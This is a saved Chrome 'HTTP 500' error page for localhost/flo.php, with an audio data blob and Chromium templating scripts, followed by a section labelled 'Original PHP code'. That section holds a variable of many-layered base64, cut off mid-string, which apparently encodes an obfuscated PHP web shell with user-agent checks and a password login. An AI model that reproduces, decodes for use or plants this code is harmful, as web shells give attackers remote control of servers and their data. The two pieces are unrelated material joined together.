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"></audio>
    </template>
  </div>


<script jstcache="0">(function(){function l(a,b,c){return Function.prototype.call.apply(Array.prototype.slice,arguments)}function m(a,b,c){var e=l(arguments,2);return function(){return b.apply(a,e)}}function n(a,b){var c=new p(b);for(c.h=[a];c.h.length;){var e=c,d=c.h.shift();e.i(d);for(d=d.firstChild;d;d=d.nextSibling)1==d.nodeType&&e.h.push(d)}}function p(a){this.i=a}function q(a){a.style.display=""}function r(a){a.style.display="none"};var t=/\s*;\s*/;function u(a,b){this.l.apply(this,arguments)}u.prototype.l=function(a,b){this.a||(this.a={});if(b){var c=this.a,e=b.a;for(d in e)c[d]=e[d]}else{var d=this.a;e=v;for(c in e)d[c]=e[c]}this.a.$this=a;this.a.$context=this;this.f="undefined"!=typeof a&&null!=a?a:"";b||(this.a.$top=this.f)};var v={$default:null},w=[];function x(a){for(var b in a.a)delete a.a[b];a.f=null;w.push(a)}function y(a,b,c){try{return b.call(c,a.a,a.f)}catch(e){return v.$default}}
u.prototype.clone=function(a,b,c){if(0<w.length){var e=w.pop();u.call(e,a,this);a=e}else a=new u(a,this);a.a.$index=b;a.a.$count=c;return a};var z;window.trustedTypes&&(z=trustedTypes.createPolicy("jstemplate",{createScript:function(a){return a}}));var A={};function B(a){if(!A[a])try{var b="(function(a_, b_) { with (a_) with (b_) return "+a+" })",c=window.trustedTypes?z.createScript(b):b;A[a]=window.eval(c)}catch(e){}return A[a]}
function E(a){var b=[];a=a.split(t);for(var c=0,e=a.length;c<e;++c){var d=a[c].indexOf(":");if(!(0>d)){var g=a[c].substr(0,d).replace(/^\s+/,"").replace(/\s+$/,"");d=B(a[c].substr(d+1));b.push(g,d)}}return b};function F(){}var G=0,H={0:{}},I={},J={},K=[];function L(a){a.__jstcache||n(a,function(b){M(b)})}var N=[["jsselect",B],["jsdisplay",B],["jsvalues",E],["jsvars",E],["jseval",function(a){var b=[];a=a.split(t);for(var c=0,e=a.length;c<e;++c)if(a[c]){var d=B(a[c]);b.push(d)}return b}],["transclude",function(a){return a}],["jscontent",B],["jsskip",B]];
function M(a){if(a.__jstcache)return a.__jstcache;var b=a.getAttribute("jstcache");if(null!=b)return a.__jstcache=H[b];b=K.length=0;for(var c=N.length;b<c;++b){var e=N[b][0],d=a.getAttribute(e);J[e]=d;null!=d&&K.push(e+"="+d)}if(0==K.length)return a.setAttribute("jstcache","0"),a.__jstcache=H[0];var g=K.join("&");if(b=I[g])return a.setAttribute("jstcache",b),a.__jstcache=H[b];var h={};b=0;for(c=N.length;b<c;++b){d=N[b];e=d[0];var f=d[1];d=J[e];null!=d&&(h[e]=f(d))}b=""+ ++G;a.setAttribute("jstcache",
b);H[b]=h;I[g]=b;return a.__jstcache=h}function P(a,b){a.j.push(b);a.o.push(0)}function Q(a){return a.c.length?a.c.pop():[]}
F.prototype.g=function(a,b){var c=R(b),e=c.transclude;if(e)(c=S(e))?(b.parentNode.replaceChild(c,b),e=Q(this),e.push(this.g,a,c),P(this,e)):b.parentNode.removeChild(b);else if(c=c.jsselect){c=y(a,c,b);var d=b.getAttribute("jsinstance");var g=!1;d&&("*"==d.charAt(0)?(d=parseInt(d.substr(1),10),g=!0):d=parseInt(d,10));var h=null!=c&&"object"==typeof c&&"number"==typeof c.length;e=h?c.length:1;var f=h&&0==e;if(h)if(f)d?b.parentNode.removeChild(b):(b.setAttribute("jsinstance","*0"),r(b));else if(q(b),
null===d||""===d||g&&d<e-1){g=Q(this);d=d||0;for(h=e-1;d<h;++d){var k=b.cloneNode(!0);b.parentNode.insertBefore(k,b);T(k,c,d);f=a.clone(c[d],d,e);g.push(this.b,f,k,x,f,null)}T(b,c,d);f=a.clone(c[d],d,e);g.push(this.b,f,b,x,f,null);P(this,g)}else d<e?(g=c[d],T(b,c,d),f=a.clone(g,d,e),g=Q(this),g.push(this.b,f,b,x,f,null),P(this,g)):b.parentNode.removeChild(b);else null==c?r(b):(q(b),f=a.clone(c,0,1),g=Q(this),g.push(this.b,f,b,x,f,null),P(this,g))}else this.b(a,b)};
F.prototype.b=function(a,b){var c=R(b),e=c.jsdisplay;if(e){if(!y(a,e,b)){r(b);return}q(b)}if(e=c.jsvars)for(var d=0,g=e.length;d<g;d+=2){var h=e[d],f=y(a,e[d+1],b);a.a[h]=f}if(e=c.jsvalues)for(d=0,g=e.length;d<g;d+=2)if(f=e[d],h=y(a,e[d+1],b),"$"==f.charAt(0))a.a[f]=h;else if("."==f.charAt(0)){f=f.substr(1).split(".");for(var k=b,O=f.length,C=0,U=O-1;C<U;++C){var D=f[C];k[D]||(k[D]={});k=k[D]}k[f[O-1]]=h}else f&&("boolean"==typeof h?h?b.setAttribute(f,f):b.removeAttribute(f):b.setAttribute(f,""+h));
if(e=c.jseval)for(d=0,g=e.length;d<g;++d)y(a,e[d],b);e=c.jsskip;if(!e||!y(a,e,b))if(c=c.jscontent){if(c=""+y(a,c,b),b.innerHTML!=c){for(;b.firstChild;)e=b.firstChild,e.parentNode.removeChild(e);b.appendChild(this.m.createTextNode(c))}}else{c=Q(this);for(e=b.firstChild;e;e=e.nextSibling)1==e.nodeType&&c.push(this.g,a,e);c.length&&P(this,c)}};function R(a){if(a.__jstcache)return a.__jstcache;var b=a.getAttribute("jstcache");return b?a.__jstcache=H[b]:M(a)}
function S(a,b){var c=document;if(b){var e=c.getElementById(a);if(!e){e=b();var d=c.getElementById("jsts");d||(d=c.createElement("div"),d.id="jsts",r(d),d.style.position="absolute",c.body.appendChild(d));var g=c.createElement("div");d.appendChild(g);g.innerHTML=e;e=c.getElementById(a)}c=e}else c=c.getElementById(a);return c?(L(c),c=c.cloneNode(!0),c.removeAttribute("id"),c):null}function T(a,b,c){c==b.length-1?a.setAttribute("jsinstance","*"+c):a.setAttribute("jsinstance",""+c)};window.jstGetTemplate=S;window.JsEvalContext=u;window.jstProcess=function(a,b){var c=new F;L(b);c.m=b?9==b.nodeType?b:b.ownerDocument||document:document;var e=m(c,c.g,a,b),d=c.j=[],g=c.o=[];c.c=[];e();for(var h,f,k;d.length;)h=d[d.length-1],e=g[g.length-1],e>=h.length?(e=c,f=d.pop(),f.length=0,e.c.push(f),g.pop()):(f=h[e++],k=h[e++],h=h[e++],g[g.length-1]=e,f.call(c,k,h))};
})()</script><script jstcache="0">// Copyright 2012 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

/**
 * @fileoverview
 * NOTE: This file is deprecated, and provides only the minimal LoadTimeData
 * functions for places in the code still not using JS modules. Use
 * load_time_data.m.js in all new code.
 *
 * This file defines a singleton which provides access to all data
 * that is available as soon as the page's resources are loaded (before DOM
 * content has finished loading). This data includes both localized strings and
 * any data that is important to have ready from a very early stage (e.g. things
 * that must be displayed right away).
 *
 * Note that loadTimeData is not guaranteed to be consistent between page
 * refreshes (https://crbug.com/740629) and should not contain values that might
 * change if the page is re-opened later.
 */

/** @type {!LoadTimeData} */
// eslint-disable-next-line no-var
var loadTimeData;

class LoadTimeData {
  constructor() {
    /** @type {?Object} */
    this.data_ = null;
  }

  /**
   * Sets the backing object.
   *
   * Note that there is no getter for |data_| to discourage abuse of the form:
   *
   *     var value = loadTimeData.data()['key'];
   *
   * @param {Object} value The de-serialized page data.
   */
  set data(value) {
    expect(!this.data_, 'Re-setting data.');
    this.data_ = value;
  }

  /**
   * @param {string} id An ID of a value that might exist.
   * @return {boolean} True if |id| is a key in the dictionary.
   */
  valueExists(id) {
    return id in this.data_;
  }

  /**
   * Fetches a value, expecting that it exists.
   * @param {string} id The key that identifies the desired value.
   * @return {*} The corresponding value.
   */
  getValue(id) {
    expect(this.data_, 'No data. Did you remember to include strings.js?');
    const value = this.data_[id];
    expect(typeof value !== 'undefined', 'Could not find value for ' + id);
    return value;
  }

  /**
   * As above, but also makes sure that the value is a string.
   * @param {string} id The key that identifies the desired string.
   * @return {string} The corresponding string value.
   */
  getString(id) {
    const value = this.getValue(id);
    expectIsType(id, value, 'string');
    return /** @type {string} */ (value);
  }

  /**
   * Returns a formatted localized string where $1 to $9 are replaced by the
   * second to the tenth argument.
   * @param {string} id The ID of the string we want.
   * @param {...(string|number)} var_args The extra values to include in the
   *     formatted output.
   * @return {string} The formatted string.
   */
  getStringF(id, var_args) {
    const value = this.getString(id);
    if (!value) {
      return '';
    }

    const args = Array.prototype.slice.call(arguments);
    args[0] = value;
    return this.substituteString.apply(this, args);
  }

  /**
   * Returns a formatted localized string where $1 to $9 are replaced by the
   * second to the tenth argument. Any standalone $ signs must be escaped as
   * $$.
   * @param {string} label The label to substitute through.
   *     This is not an resource ID.
   * @param {...(string|number)} var_args The extra values to include in the
   *     formatted output.
   * @return {string} The formatted string.
   */
  substituteString(label, var_args) {
    const varArgs = arguments;
    return label.replace(/\$(.|$|\n)/g, function(m) {
      expect(m.match(/\$[$1-9]/), 'Unescaped $ found in localized string.');
      return m === '$$' ? '$' : varArgs[m[1]];
    });
  }

  /**
   * As above, but also makes sure that the value is a boolean.
   * @param {string} id The key that identifies the desired boolean.
   * @return {boolean} The corresponding boolean value.
   */
  getBoolean(id) {
    const value = this.getValue(id);
    expectIsType(id, value, 'boolean');
    return /** @type {boolean} */ (value);
  }

  /**
   * As above, but also makes sure that the value is an integer.
   * @param {string} id The key that identifies the desired number.
   * @return {number} The corresponding number value.
   */
  getInteger(id) {
    const value = this.getValue(id);
    expectIsType(id, value, 'number');
    expect(value === Math.floor(value), 'Number isn\'t integer: ' + value);
    return /** @type {number} */ (value);
  }

  /**
   * Override values in loadTimeData with the values found in |replacements|.
   * @param {Object} replacements The dictionary object of keys to replace.
   */
  overrideValues(replacements) {
    expect(
        typeof replacements === 'object',
        'Replacements must be a dictionary object.');
    for (const key in replacements) {
      this.data_[key] = replacements[key];
    }
  }
}

/**
 * Checks condition, throws error message if expectation fails.
 * @param {*} condition The condition to check for truthiness.
 * @param {string} message The message to display if the check fails.
 */
function expect(condition, message) {
  if (!condition) {
    throw new Error(
        'Unexpected condition on ' + document.location.href + ': ' + message);
  }
}

/**
 * Checks that the given value has the given type.
 * @param {string} id The id of the value (only used for error message).
 * @param {*} value The value to check the type on.
 * @param {string} type The type we expect |value| to be.
 */
function expectIsType(id, value, type) {
  expect(
      typeof value === type, '[' + value + '] (' + id + ') is not a ' + type);
}

expect(!loadTimeData, 'should only include this file once');
loadTimeData = new LoadTimeData();

// Expose |loadTimeData| directly on |window|, since within a JS module the
// scope is local and not all files have been updated to import the exported
// |loadTimeData| explicitly.
window.loadTimeData = loadTimeData;

console.warn('crbug/1173575, non-JS module files deprecated.');
</script><script jstcache="0">const pageData = {"details":"Details","errorCode":"HTTP ERROR 500","fontfamily":"\"sans\", Arial, sans-serif","fontsize":"75%","heading":{"hostName":"localhost","msg":"This page isn’t working"},"hideDetails":"Hide details","iconClass":"icon-generic","language":"en","reloadButton":{"msg":"Reload","reloadUrl":"http://localhost/flo.php"},"suggestionsDetails":[],"suggestionsSummaryList":[],"summary":{"failedUrl":"http://localhost/flo.php","hostName":"localhost","msg":"\u003Cstrong jscontent=\"hostName\">\u003C/strong> is currently unable to handle this request."},"textdirection":"ltr","title":"localhost"};loadTimeData.data = pageData;var tp = document.getElementById('t');jstProcess(new JsEvalContext(pageData), tp);</script></body></html>

Original PHP code

<?php
$part2='MVViR2xaVkdoc1RucFZNbGxxVVROYWFrRnBUM2R2YTFreU9YTmlNMGxuVUZOQmFVa3lVbTFPVTBrM1EybFNhMXBYV21oa1YzZ3dXREpHYW1SSGJIWmlhVUU1U1VOa1IyRlhlR3hqTURGb1ltbGpOME5wVW10YVYxcG9aRmQ0TUZnelZucGFWamxvWVcxR05FbEVNR2RrU0VveFdsUnpTMHBIVW14YWJVWXhZa2hTWmxreWFHaGpiazVzWkVOQk9VbERaRmhoVnpWcllqTmtla3hVUlhsT1ZFVnVUM2R2WjBOdGJHMUxRMFpzWWxoQ01HVlRaMnRZTVU1R1ZXeGFSbFZzYzI1VFJsSlZWVVk1VmxVd1ZsTllNRVpJVWxVMVZVb3hNSEJMVTBJM1EybEJaMGxEUVd0a1dFNXNZMnRHYmxwWE5UQmplVUU1U1VkR2VXTnRSalZMUTBwSVlqSTVibUpIVldsTVEwRnBWVEo0TVdOdVFXbE1RMEZwVkZaT1QxRnRPVEJKYVhkblNXMXNhRmd5Um5sWk1taHdaRzFXZVVscGQyZEpiR3hvWW0xU2JHVkRTWE5KUTBwVFdWY3hhV0pIVm5sSmFXczNRMmxCWjBsRFFuQmFhV2gzWTIxV2JsZ3lNV2hrUjA1dlMwTmpka3A1UVhWSlIyeDBZMGQ0ZGxwSFZXOUtNM2R1VEVOQmEyUllUbXhqYTBadVdsYzFNR041YTJkTWFVRnVUREpyYmt4RFFXdFlNVTVHVld4YVJsVnNjMjVUUmxKVlZVWTVWbFV3VmxOWU1FWklVbFUxVlVveE1IQkxVMEkzUTJsQlowbERRV2RKUTBGbllVZFdhRnBIVm5sTFEyUkpWa1pTVVV4NlJYVk5RMEV3VFVSUloxUnRPVEJKUlZwMlpGYzFhMHA1YXpkRGFVRm5TVU5CWjBsRFFXZGFXR2h3WkVSelMwbERRV2RKU0RCTFpsRnZaME5yUW5CaWJXeG1ZekpXTUV0RFpHeGpia3AyWTJ3NWMySXlZMjVNUlRWV1ZFVjNjRTkzY0VGaFZ6VndXRE5PYkdSRFoyNWlSemx1V0RKV2VXTnRPWGxqZVdOelRVTnJOME5yUW5CaWJXeG1ZekpXTUV0RFpIUlpXR2htV2xob2JGa3pWakJoVnpsMVdETlNjR0pYVlc1TVJFRndUM2R3UVdNeVZqQllNMUp3WWxkV1ptSkhiSFJoV0ZGdlRVTnJOME5yUW5wYVdGSm1ZbGRHYm1GWFRtWmpXRloyWkVkV2VsZ3pTakZpYmxKd1lsZFZiMDFEYXpkRGEwSnJXbGRhY0dKdFZXOUtNV1JVVkRFNVYxSldTbFJUVlRsUFNubDNaMHA2U1hWUFEyTndUM2R2WjBOdGJHMUxSMlJzWkVZNWRGbFhaSEJaTVRsNFpGYzVNRnBZVG1aYU0wSnFTME5yY0VsSWMwdEpRMEZuU1VkYU1XSnRUakJoVnpsMVNVWmtWRlF6VGpCamJXeDNZeko0YUdNeWFHeGplV2RyV1ZoS2VWbFlhM0JKU0hOTFNVTkJaMGxEUVdkSlEwSjVXbGhTTVdOdE5HZGhXRTVtV1ZoS2VWbFlhMjlLUjBaNVkyMUdOVXRUUVM5SlIwWjVZMjFHTlZneU1XaGpRMmR1VmpGT1VHTXpVbmxoV0VKNllrZEdlbUZIVm5wS2VYZG5Ta2RHZVdOdFJqVkxVMEUyU1VoT01HTnRiSGRqTW5ob1l6Sm9iR041WjJ0WldFcDVXVmhyY0U5M2IyZEpRMEZuWmxGdlowbERRV2RLUmpsUlZERk9WVWxFTUdkV01VNVFZek5TZVdGWVFucGlSMFo2WVVkV2VrdERVbVpWUlRsVVZrTnJOME5wUVdkSlEwRnJXREJPVUZRd2RFcFNVMEU1U1Vaa1ZGUXpUakJqYld4M1l6SjRhR015YUd4amVXZHJXREJPVUZRd2RFcFNVMnMzUTI0d1MwbEJjRzFrVnpWcVpFZHNkbUpwUWpOak1qbE5ZakprY0dKcFozQkpTSE5MU1VOQlowbEhVbkJhVTJkcFVFaENlVnBUUW1oaVIyeHVZbW94YWxwWE5UQmFXRWtyVUVkYWRtTnRNR2RpVjFZd1lVYzVhMUJZUW5aak0xRXJWVWRHZW1NelpIWmpiVkUyU1VSNGNHSnVRakZrUTBJd1pWaENiRkJZUW1oak0wNHpZak5LYTBsSE5XaGlWMVU1WTBkR2VtTjZORGhoVnpWM1pGaFJaMlJJYkhkYVZERjZaRmRLZEdGWVVXZGtiVVp6WkZkVk9VcDZOQ3RLZWpRNFRESmFkbU50TUN0UVF6bDNZMjFWSzBscGF6ZERiakJMU1VGd2JXUlhOV3BrUjJ4MlltbENXRlV3T1hwYVdGSnFZakk1Y21GWFZXOUtSM056U1VOU01rdFRRamREYVVGblNVTkJhMWd3VGxCVU1IUktVbFp6YTJFeE1HZFFVMEZyWkdwelMwbERRV2RKU0U1c1pFZE9kbUl5ZEhCYVUyZHJZWGwzWjBwSVdYQlBkM0E1UTJsQlMyRlhXVzlKVjFaMFkwaFNOVXREVW1oa1dGSnZXRE5DYUdNelRYQkxVMEkzUTJsQlowbERRbkJhYVdod1l6Tk9iR1JEWjJ0WU1VSlFWVEZTWWtvelFtaGpNMDF1V0ZOclowcHBXV2RMUnpGclRsTm5hMWd4UWxCVk1WSmlTak5DYUdNelRXNVlVMnRuVUZRd1owcEhSakZrUjJobVkwZEdlbU41YTNCRGFVRm5TVU5CWjBsRFFXZFdNVTVRWXpKV01Ga3lPWFpoTW14c1MwY3hhMDVUWjJ0WU1VNUdWV3hhUmx